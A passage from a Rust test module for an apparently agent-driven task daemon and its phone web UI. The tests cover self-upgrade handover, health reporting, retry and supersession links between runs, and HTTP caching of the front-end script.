14006 "a check made moments ago must not be repeated before the \
14007 configured interval elapses"
14008 );
14009 }
14010
14011 #[test]
14017 fn recheck_defers_to_an_upgrade_already_in_flight() {
14018 let dir = TempDir::new().expect("temp dir");
14019 let path = dir.path().join("state.json");
14020 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14021 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14022
14023 assert!(
14024 !update_recheck_due(&checker, Some(&progress)),
14025 "a recheck must not run while an upgrade this deck started is \
14026 still moving"
14027 );
14028 }
14029
14030 #[tokio::test]
14031 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14032 unsafe {
14044 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14045 }
14046 let fx = Fixture::start().await;
14047 let res = fx.post("/api/upgrade", None).await;
14048 unsafe {
14049 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14050 }
14051 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14052 let body = res.json();
14053 assert!(body["to"].is_null(), "there was no release to move to");
14054 assert!(body["parked"].is_null(), "and nothing was parked");
14055 assert!(
14056 body["detail"]
14057 .as_str()
14058 .unwrap()
14059 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14060 "{body:?}"
14061 );
14062 }
14063
14064 #[tokio::test]
14065 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14066 let repo = TempDir::new().expect("repo dir");
14082 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14083 .expect("write magi.toml");
14084 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14085
14086 let res = fx.post("/api/upgrade", None).await;
14092 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14093 let body = res.json();
14094 assert!(body["to"].is_null(), "there was no release to move to");
14095 assert!(body["parked"].is_null(), "and nothing was parked");
14096 assert!(
14097 body["detail"]
14098 .as_str()
14099 .unwrap()
14100 .contains("nothing restarted"),
14101 "{body:?}"
14102 );
14103 }
14104
14105 #[tokio::test]
14106 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14107 let repo = TempDir::new().expect("repo dir");
14112 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14113 .expect("write magi.toml");
14114 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14115
14116 let health = fx.get("/api/health").await.json();
14117 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14118 assert_eq!(
14119 health["update"]["available"], false,
14120 "checking is off, which reads as \"unknown\", not \"none\""
14121 );
14122 assert!(health["update"]["to"].is_null());
14123 assert!(
14124 health["upgrade"].is_null(),
14125 "nothing has ever asked this deck to upgrade"
14126 );
14127 }
14128
14129 #[tokio::test]
14130 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14131 let fx = Fixture::start().await;
14132 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14133
14134 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14135 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14136 progress.advance(crate::updater::Stage::Parking);
14137 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14138
14139 let health = fx.get("/api/health").await.json();
14140 assert_eq!(health["upgrade"]["stage"], "parking");
14141 assert_eq!(health["upgrade"]["from"], "0.5.1");
14142 assert_eq!(health["upgrade"]["to"], "0.5.2");
14143 let waiting_on = health["upgrade"]["waiting_on"]
14144 .as_str()
14145 .expect("waiting_on is set while parking a known run");
14146 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14147 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14148 }
14149
14150 #[tokio::test]
14151 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14152 let fx = Fixture::start().await;
14153 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14154 progress.advance(crate::updater::Stage::Done);
14155 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14156
14157 let health = fx.get("/api/health").await.json();
14158 assert_eq!(health["upgrade"]["stage"], "done");
14159 assert!(
14160 health["upgrade"]["waiting_on"].is_null(),
14161 "nothing to wait on once it is done"
14162 );
14163 }
14164
14165 #[tokio::test]
14166 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14167 let home = TempDir::new().expect("temp home");
14168 let runs = home.path().join("runs");
14169 std::fs::create_dir_all(&runs).expect("runs dir");
14170 let ui = Ui::new(
14171 Queue::at(home.path().join("queue")),
14172 Questions::at(home.path().join("questions")),
14173 Talks::at(home.path().join("talks")),
14174 runs,
14175 home.path().to_path_buf(),
14176 PathBuf::from("/repo/magi"),
14177 )
14178 .with_launch(launch_idle);
14179 let looping = ui.looping();
14180 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14181 .await
14182 .expect("bind loopback");
14183 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14184
14185 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14186 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14187
14188 hand_over(home.path(), &looping, served, |_| Ok(1))
14189 .await
14190 .expect("hand over");
14191
14192 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14193 assert_eq!(
14194 after.stage,
14195 crate::updater::Stage::Restarting,
14196 "hand_over owns the record through parking and up to restarting; \
14197 the successor is what finishes it"
14198 );
14199 }
14200
14201 #[tokio::test]
14204 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14205 for fail in [false, true] {
14206 let home = TempDir::new().expect("temp home");
14207 let ui = idle_ui(&home);
14208 let looping = ui.looping();
14209 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14210 .await
14211 .expect("bind loopback");
14212 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14213 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14214 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14215
14216 let calls = std::sync::atomic::AtomicUsize::new(0);
14217 let outcome = hand_over(home.path(), &looping, served, |_| {
14218 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14219 if fail {
14220 anyhow::bail!("no exec")
14221 } else {
14222 Ok(4242)
14223 }
14224 })
14225 .await;
14226 assert_eq!(outcome.is_err(), fail);
14227 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14228
14229 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14230 .expect("upgrade.log is written under the home");
14231 for step in [
14232 "entered",
14233 "finish_loop",
14234 "listener released",
14235 "starting the successor",
14236 ] {
14237 assert!(log.contains(step), "missing `{step}` in:\n{log}");
14238 }
14239 assert!(
14240 log.contains(if fail { "did not start" } else { "pid 4242" }),
14241 "{log}"
14242 );
14243 }
14244 }
14245
14246 #[tokio::test]
14249 async fn the_handover_signal_wakes_one_waiter_once() {
14250 let signal = Notify::new();
14251 signal.notify_one();
14253 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14254 .await
14255 .expect("an early signal is still seen");
14256 assert!(
14258 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14259 .await
14260 .is_err(),
14261 "a consumed signal must not wake a second time"
14262 );
14263 let signal = std::sync::Arc::new(signal);
14265 let waiter = tokio::spawn({
14266 let signal = std::sync::Arc::clone(&signal);
14267 async move { wait_for_handover(&signal).await }
14268 });
14269 tokio::time::sleep(Duration::from_millis(20)).await;
14270 assert!(!waiter.is_finished(), "nothing was signalled yet");
14271 signal.notify_one();
14272 tokio::time::timeout(Duration::from_secs(5), waiter)
14273 .await
14274 .expect("a late signal wakes the waiter")
14275 .expect("join");
14276 }
14277
14278 #[tokio::test]
14279 async fn health_says_how_long_a_handover_has_been_stuck() {
14280 let fx = Fixture::start().await;
14281 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14282 progress.advance(crate::updater::Stage::Replaced);
14283 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14284 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14285
14286 let health = fx.get("/api/health").await.json();
14287 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14288 assert!(stuck >= 600, "{stuck}");
14289 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14290 }
14291
14292 fn idle_ui(home: &TempDir) -> Ui {
14293 let runs = home.path().join("runs");
14294 std::fs::create_dir_all(&runs).expect("runs dir");
14295 Ui::new(
14296 Queue::at(home.path().join("queue")),
14297 Questions::at(home.path().join("questions")),
14298 Talks::at(home.path().join("talks")),
14299 runs,
14300 home.path().to_path_buf(),
14301 PathBuf::from("/repo/magi"),
14302 )
14303 .with_launch(launch_idle)
14304 }
14305
14306 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14308 let looping = ui.looping();
14309 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14310 .await
14311 .expect("bind loopback");
14312 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14313 let told = std::sync::Mutex::new(None);
14314 hand_over(home.path(), &looping, served, |resume| {
14315 *told.lock().unwrap() = Some(resume);
14316 Ok(1)
14317 })
14318 .await
14319 .expect("hand over");
14320 told.into_inner().unwrap().expect("successor was started")
14321 }
14322
14323 #[tokio::test]
14324 async fn a_running_loop_is_resumed_by_the_successor() {
14325 let home = TempDir::new().expect("temp home");
14326 let ui = idle_ui(&home);
14327 ui.start_loop(None).expect("start");
14328 ui.park_for_upgrade().expect("park");
14329 for _ in 0..500 {
14331 if !ui.loop_view(None).running {
14332 break;
14333 }
14334 tokio::time::sleep(Duration::from_millis(2)).await;
14335 }
14336 assert!(handed_over(&home, ui).await, "a running loop must resume");
14337
14338 let successor = idle_ui(&home);
14339 assert!(!successor.loop_view(None).running);
14340 assert!(successor.resume_after_handover(true));
14341 assert!(successor.loop_view(None).running);
14342 successor.stop_loop(None, false).expect("stop");
14343 }
14344
14345 #[tokio::test]
14346 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14347 let home = TempDir::new().expect("temp home");
14348 let ui = idle_ui(&home);
14349 ui.start_loop(None).expect("start");
14350 ui.park_for_upgrade().expect("first park");
14351 ui.park_for_upgrade().expect("second park");
14352 assert!(handed_over(&home, ui).await);
14353 }
14354
14355 #[tokio::test]
14356 async fn a_stop_during_the_handover_wait_is_honoured() {
14357 let home = TempDir::new().expect("temp home");
14358 let ui = idle_ui(&home);
14359 ui.start_loop(None).expect("start");
14360 ui.park_for_upgrade().expect("park");
14361 ui.stop_loop(None, false).expect("stop");
14362 assert!(!handed_over(&home, ui).await);
14363 }
14364
14365 #[tokio::test]
14366 async fn an_idle_loop_stays_stopped_across_the_handover() {
14367 let home = TempDir::new().expect("temp home");
14368 let ui = idle_ui(&home);
14369 ui.park_for_upgrade().expect("park");
14370 assert!(!handed_over(&home, ui).await);
14371
14372 let successor = idle_ui(&home);
14373 assert!(!successor.resume_after_handover(false));
14374 assert!(!successor.loop_view(None).running);
14375 }
14376
14377 #[tokio::test]
14378 async fn a_loop_the_operator_stopped_is_not_resumed() {
14379 let home = TempDir::new().expect("temp home");
14380 let ui = idle_ui(&home);
14381 ui.start_loop(None).expect("start");
14382 ui.stop_loop(None, false).expect("stop");
14383 ui.park_for_upgrade().expect("park");
14384 assert!(!handed_over(&home, ui).await);
14385 }
14386
14387 #[test]
14388 fn only_an_explicit_one_requests_a_resume() {
14389 assert!(!resume_requested(None));
14390 assert!(!resume_requested(Some("0".into())));
14391 assert!(!resume_requested(Some("".into())));
14392 assert!(resume_requested(Some("1".into())));
14393 }
14394
14395 #[test]
14396 fn the_upgrade_button_arms_before_it_restarts_anything() {
14397 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14400 assert!(APP_JS.contains("Replace the binary and restart?"));
14401 assert!(APP_JS.contains("function confirmed("));
14402 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14407 assert!(
14411 APP_JS.contains("Parking, then restarting"),
14412 "the button says what it is waiting for"
14413 );
14414 assert!(APP_JS.contains("if (!out.to)"));
14417 }
14418
14419 #[test]
14420 fn stopping_the_loop_arms_but_starting_does_not() {
14421 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14424 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14425 assert!(APP_JS.contains("confirmed(button, question)"));
14426 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14429 assert!(APP_JS.contains("const label = btn.textContent;"));
14430 assert!(!APP_JS.contains("Neither direction is guarded"));
14431 }
14432
14433 #[test]
14434 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14435 assert!(
14436 APP_JS.contains("state.health.version"),
14437 "the operator wants to know what is running even with nothing newer"
14438 );
14439 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14440 }
14441
14442 #[test]
14443 fn the_upgrade_button_names_its_destination() {
14444 assert!(
14445 APP_JS.contains("`Update to ${update.to}`"),
14446 "pressing the button should not be a surprise about what it moves to"
14447 );
14448 }
14449
14450 #[test]
14451 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14452 for stage in ["downloading", "replaced", "parking", "restarting"] {
14453 assert!(
14454 APP_JS.contains(&format!("\"{stage}\"")),
14455 "the phone must be able to tell {stage} apart from the others"
14456 );
14457 }
14458 assert!(APP_JS.contains(".waiting_on"));
14459 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14464 assert!(APP_JS.contains("reconnects on its own"));
14465 }
14466
14467 #[test]
14468 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14469 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14478 ..APP_JS.find("function upgrade(").expect("upgrade")];
14479 assert!(
14480 !body.contains(
14481 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14482 ),
14483 "a failed upgrade must not take the whole strip over the way it used to"
14484 );
14485 assert!(
14486 body.contains("upgradeFailNote"),
14487 "the failure has to reach the loop's own note instead"
14488 );
14489 assert_eq!(
14493 body.matches("upgradeFailNote].filter(Boolean).join")
14494 .count(),
14495 2,
14496 "both loop-why writers (quiet and control) must fold the note in"
14497 );
14498 }
14499
14500 #[test]
14501 fn an_overdue_upgrade_eventually_asks_for_a_human() {
14502 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14505 assert!(APP_JS.contains("function upgradeOverdue("));
14506 }
14507
14508 #[test]
14509 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14510 assert!(
14511 APP_JS.contains("Updated to ${upgradeInfo.to"),
14512 "the operator who asked for the restart wants to know it worked"
14513 );
14514 }
14515
14516 #[test]
14517 fn an_error_is_visible_from_where_the_button_is() {
14518 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14523 ..APP_CSS.find(".alert-text").expect(".alert-text")];
14524 assert!(
14525 alert.contains("position: fixed"),
14526 "an error about the thing under your thumb has to be visible from \
14527 where your thumb is: {alert}"
14528 );
14529 assert!(
14530 alert.contains("z-index: 25"),
14531 "above the dock (20) and the run-actions FAB (15), so neither \
14532 buries it: {alert}"
14533 );
14534 assert!(
14535 alert.contains("var(--tap)"),
14536 "and clear of the dock and the home indicator: {alert}"
14537 );
14538 assert!(
14541 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14542 "the FAB's column stays free: {alert}"
14543 );
14544 }
14545
14546 #[tokio::test]
14547 async fn an_older_attempt_says_what_replaced_it() {
14548 let fx = Fixture::start().await;
14549 let q = fx.queue();
14550 let runs = fx.runs();
14551 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14552 write_run(&runs, first, RunStatus::Stalled);
14553 write_run(&runs, second, RunStatus::Blocked);
14554
14555 let mut t = Task::new(
14556 "one task".to_owned(),
14557 "do it".to_owned(),
14558 PathBuf::from("/repo"),
14559 Source::Human,
14560 );
14561 t.runs = vec![first.to_owned(), second.to_owned()];
14562 q.put(&mut t).expect("put");
14563
14564 let rows = fx.get("/api/runs").await.json();
14568 let by = |short: &str| -> Value {
14569 rows.as_array()
14570 .unwrap()
14571 .iter()
14572 .find(|r| r["short"] == short)
14573 .cloned()
14574 .unwrap_or(Value::Null)
14575 };
14576 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14577 assert!(
14578 by("bbbb")["superseded_by"].is_null(),
14579 "the latest attempt is not superseded by anything"
14580 );
14581 assert!(APP_JS.contains("run.superseded_by"));
14583 assert!(APP_JS.contains("Superseded by"));
14584 }
14585
14586 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14587 let mut t = Task::new(
14588 "one task".to_owned(),
14589 "do it".to_owned(),
14590 PathBuf::from("/repo"),
14591 Source::Human,
14592 );
14593 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14594 t.status = status;
14595 t
14596 }
14597
14598 #[test]
14599 fn source_link_picks_the_page_that_filed_the_task() {
14600 let agent = |node: &str| Source::Agent {
14601 run: "20260904-014455-ab12".to_owned(),
14602 node: node.to_owned(),
14603 };
14604 let chat = source_link(&agent("chat")).expect("chat link");
14605 assert_eq!(chat.kind, "chat");
14606 assert_eq!(chat.id, "20260904-014455-ab12");
14607 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14608 let run = source_link(&agent("implement")).expect("run link");
14609 assert_eq!(
14610 (run.kind, run.href.as_str()),
14611 ("run", "#/runs/20260904-014455-ab12")
14612 );
14613 assert_eq!(source_link(&Source::Human), None);
14614 assert_eq!(
14615 source_link(&Source::Issue {
14616 number: 3,
14617 repo: "o/r".to_owned()
14618 }),
14619 None
14620 );
14621 let odd = source_link(&Source::Agent {
14622 run: "a b/c".to_owned(),
14623 node: "chat".to_owned(),
14624 })
14625 .expect("link");
14626 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14627 }
14628
14629 #[test]
14630 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14631 assert!(
14632 !APP_JS.contains("src.node === \"chat\""),
14633 "inline href rule is back"
14634 );
14635 assert!(
14636 APP_JS.matches("sourceLinkOf(").count() >= 4,
14637 "helper must serve every page"
14638 );
14639 assert!(
14640 APP_JS.matches("openChatLink(").count() >= 3,
14641 "the run page still needs its explicit chat link"
14642 );
14643 assert!(
14644 !APP_JS.contains("const openChat = el("),
14645 "the Queue card duplicates its source label link again"
14646 );
14647 assert!(
14648 APP_JS.contains("metaKids.push(link ? el(\"a\""),
14649 "the task page must link a chat source label too"
14650 );
14651 }
14652
14653 #[test]
14654 fn task_ref_carries_the_source_link_for_a_chat_task() {
14655 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14656 t.source = Source::Agent {
14657 run: "20260904-014455-ab12".to_owned(),
14658 node: "chat".to_owned(),
14659 };
14660 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14661 let v = serde_json::to_value(&out).expect("json");
14662 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14663 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14664 assert_eq!(v["source_label"], t.source.label());
14665
14666 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14667 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14668 .expect("json");
14669 assert!(v["source_link"].is_null(), "{v}");
14670 }
14671
14672 #[test]
14673 fn task_view_serializes_source_link() {
14674 let mut t = Task::new(
14675 "t".to_owned(),
14676 "t".to_owned(),
14677 PathBuf::from("/repo"),
14678 Source::Agent {
14679 run: "20260901-000000-aaaa".to_owned(),
14680 node: "implement".to_owned(),
14681 },
14682 );
14683 t.runs.clear();
14684 let v = serde_json::to_value(TaskView::from(t)).expect("json");
14685 assert_eq!(v["source_link"]["kind"], "run", "{v}");
14686 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14687 }
14688
14689 #[tokio::test]
14690 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14691 let fx = Fixture::start().await;
14692 let runs = fx.runs();
14693 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14694 write_run(&runs, old, RunStatus::Blocked);
14695 write_run(&runs, new, RunStatus::Merged);
14696 let mut t = outcome_task(&[old, new], TaskStatus::Done);
14697 fx.queue().put(&mut t).expect("put");
14698
14699 let view = fx.get(&format!("/api/runs/{old}")).await.json();
14700 let task = &view["task"];
14701 assert_eq!(task["status"], "done");
14702 assert_eq!(task["is_latest"], false);
14703 assert_eq!(task["latest"]["short"], "bbbb");
14704 assert_eq!(task["finished_by"]["id"], new);
14705 assert_eq!(task["finished_by"]["outcome"], "merged");
14706 assert_eq!(task["closed_by_hand"], false);
14707 assert_eq!(view["status"], "blocked", "the run keeps its own status");
14708 assert!(APP_JS.contains("finished_by"));
14709 assert!(APP_JS.contains("superseded by run"));
14710 }
14711
14712 #[tokio::test]
14713 async fn the_latest_run_reports_a_held_task_without_a_successor() {
14714 let fx = Fixture::start().await;
14715 let runs = fx.runs();
14716 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14717 write_run(&runs, old, RunStatus::Stalled);
14718 write_run(&runs, new, RunStatus::Blocked);
14719 let mut t = outcome_task(&[old, new], TaskStatus::Held);
14720 fx.queue().put(&mut t).expect("put");
14721
14722 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14723 assert_eq!(task["status"], "held");
14724 assert_eq!(task["is_latest"], true);
14725 assert!(task["latest"].is_null());
14726 assert!(task["finished_by"].is_null());
14727 assert_eq!(task["closed_by_hand"], false);
14728 }
14729
14730 #[tokio::test]
14731 async fn a_direct_run_has_no_task_outcome() {
14732 let fx = Fixture::start().await;
14733 let runs = fx.runs();
14734 let id = "20260901-000000-aaaa";
14735 write_run(&runs, id, RunStatus::Blocked);
14736 let view = fx.get(&format!("/api/runs/{id}")).await.json();
14737 assert!(view["task"].is_null());
14738 }
14739
14740 #[test]
14741 fn task_outcome_does_not_guess_a_finishing_run() {
14742 let a = "20260901-000000-aaaa";
14743 let b = "20260901-000000-bbbb";
14744 let c = "20260901-000000-cccc";
14745 let dir = tempfile::tempdir().expect("tempdir");
14746 write_run(dir.path(), a, RunStatus::Blocked);
14747 write_run(dir.path(), b, RunStatus::VerifiedNoop);
14748 let read = |id: &str| read_run(dir.path(), id).ok();
14750 let t = outcome_task(&[a, b, c], TaskStatus::Done);
14753 let out = task_outcome(&t, a, 3, read);
14754 assert!(out.finished_by.is_none());
14755 assert!(out.closed_by_hand);
14756 let latest = out.latest.expect("latest");
14757 assert_eq!(latest.id, c);
14758 assert_eq!(latest.status, None);
14759 assert_eq!(latest.outcome, "record unreadable");
14760
14761 write_run(dir.path(), c, RunStatus::Ready);
14763 let t = outcome_task(&[a, c], TaskStatus::Done);
14764 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
14765 assert_eq!(out.finished_by.expect("finisher").id, c);
14766 assert!(!out.closed_by_hand);
14767
14768 let t = outcome_task(&[a, b, a], TaskStatus::Held);
14770 assert!(task_outcome(&t, a, 3, read).is_latest);
14771 }
14772
14773 #[tokio::test]
14774 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
14775 let fx = Fixture::start().await;
14780 let q = fx.queue();
14781 let runs = fx.runs();
14782 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
14783 write_run(&runs, first, RunStatus::Blocked);
14784 write_run(&runs, second, RunStatus::Merged);
14785
14786 let mut t = Task::new(
14787 "one task".to_owned(),
14788 "do it".to_owned(),
14789 PathBuf::from("/repo"),
14790 Source::Human,
14791 );
14792 t.runs = vec![first.to_owned(), second.to_owned()];
14793 q.put(&mut t).expect("put");
14794
14795 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
14796 assert_eq!(earlier["superseded_by"], "dddd");
14797 assert_eq!(earlier["latest_attempt"]["id"], second);
14798 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
14799 assert_eq!(
14800 earlier["latest_attempt"]["resolved"], true,
14801 "the run that replaced it landed, so this one reads as settled"
14802 );
14803
14804 let later = fx.get(&format!("/api/runs/{second}")).await.json();
14805 assert!(
14806 later["superseded_by"].is_null(),
14807 "the latest attempt is not superseded by anything"
14808 );
14809 assert!(
14810 later["latest_attempt"].is_null(),
14811 "the latest attempt has no later attempt of its own"
14812 );
14813
14814 assert!(APP_JS.contains("run.latest_attempt"));
14821 assert!(APP_JS.contains("data-superseded"));
14822 assert!(APP_JS.contains("#/runs/${latest.id}"));
14823 }
14824
14825 #[tokio::test]
14826 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
14827 let fx = Fixture::start().await;
14833 let q = fx.queue();
14834 let runs = fx.runs();
14835 let (a, b, c) = (
14836 "20260901-000000-aaaa",
14837 "20260901-000000-bbbb",
14838 "20260901-000000-cccc",
14839 );
14840 write_run(&runs, a, RunStatus::Blocked);
14841 write_run(&runs, b, RunStatus::Blocked);
14842 write_run(&runs, c, RunStatus::Merged);
14843
14844 let mut t = Task::new(
14845 "retried twice".to_owned(),
14846 "do it".to_owned(),
14847 PathBuf::from("/repo"),
14848 Source::Human,
14849 );
14850 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
14851 q.put(&mut t).expect("put");
14852
14853 let view = fx.get(&format!("/api/runs/{a}")).await.json();
14854 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
14855 assert_eq!(
14856 view["latest_attempt"]["id"], c,
14857 "the chain's current head, not the intermediate Blocked retry"
14858 );
14859 assert_eq!(view["latest_attempt"]["resolved"], true);
14860
14861 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
14862 assert_eq!(mid["latest_attempt"]["id"], c);
14863 assert_eq!(mid["latest_attempt"]["resolved"], true);
14864 }
14865
14866 #[tokio::test]
14867 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
14868 let fx = Fixture::start().await;
14869 let q = fx.queue();
14870 let runs = fx.runs();
14871
14872 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
14875 write_run(&runs, still_blocked_a, RunStatus::Blocked);
14876 write_run(&runs, still_blocked_b, RunStatus::Blocked);
14877 let mut t1 = Task::new(
14878 "still stuck".to_owned(),
14879 "do it".to_owned(),
14880 PathBuf::from("/repo"),
14881 Source::Human,
14882 );
14883 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
14884 q.put(&mut t1).expect("put");
14885 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
14886 assert_eq!(view1["latest_attempt"]["resolved"], false);
14887 assert_eq!(view1["latest_attempt"]["status"], "blocked");
14888 assert_eq!(view1["latest_attempt"]["done"], true);
14889
14890 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
14892 write_run(&runs, run_a, RunStatus::Blocked);
14893 write_run(&runs, run_b, RunStatus::Implementing);
14894 let mut t3 = Task::new(
14895 "retrying".to_owned(),
14896 "do it".to_owned(),
14897 PathBuf::from("/repo"),
14898 Source::Human,
14899 );
14900 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
14901 q.put(&mut t3).expect("put");
14902 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
14903 assert_eq!(view3["latest_attempt"]["id"], run_b);
14904 assert_eq!(view3["latest_attempt"]["resolved"], false);
14905 assert_eq!(view3["latest_attempt"]["done"], false);
14906
14907 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
14912 write_run(&runs, noop_a, RunStatus::Blocked);
14913 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
14914 let mut t2 = Task::new(
14915 "claims done".to_owned(),
14916 "do it".to_owned(),
14917 PathBuf::from("/repo"),
14918 Source::Human,
14919 );
14920 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
14921 q.put(&mut t2).expect("put");
14922 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
14923 assert_eq!(
14924 view2["latest_attempt"]["resolved"], false,
14925 "an unverified no-op claim must not read as a confirmed finish"
14926 );
14927
14928 assert!(APP_JS.contains("latest.resolved"));
14931 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
14934 assert!(APP_JS.contains("Latest attempt: "));
14935 assert!(APP_JS.contains("in flight"));
14936 assert!(APP_JS.contains("not resolved"));
14937 }
14938
14939 #[tokio::test]
14940 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
14941 let fx = Fixture::start().await;
14942 let js = fx.get("/app.js").await;
14948 assert_eq!(js.status, 200);
14949 let tag = js
14950 .header("etag")
14951 .expect("an etag to revalidate against")
14952 .to_owned();
14953 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
14954 assert_eq!(
14955 js.header("cache-control"),
14956 Some("no-cache, must-revalidate"),
14957 "the phone has to ask every time"
14958 );
14959
14960 let again = fx
14963 .get_with("/app.js", &[("if-none-match", tag.as_str())])
14964 .await;
14965 assert_eq!(
14966 again.status, 304,
14967 "a deck it already has costs one round trip"
14968 );
14969 assert!(again.body.is_empty(), "304 carries no body");
14970
14971 let weak = fx
14974 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
14975 .await;
14976 assert_eq!(weak.status, 304);
14977 let stale = fx
14978 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
14979 .await;
14980 assert_eq!(stale.status, 200, "an older build must be replaced");
14981 assert!(stale.body.contains("renderRunActions"));
14982 }
14983
14984 #[test]
14985 fn the_task_detail_has_an_actions_fab_and_sheet() {
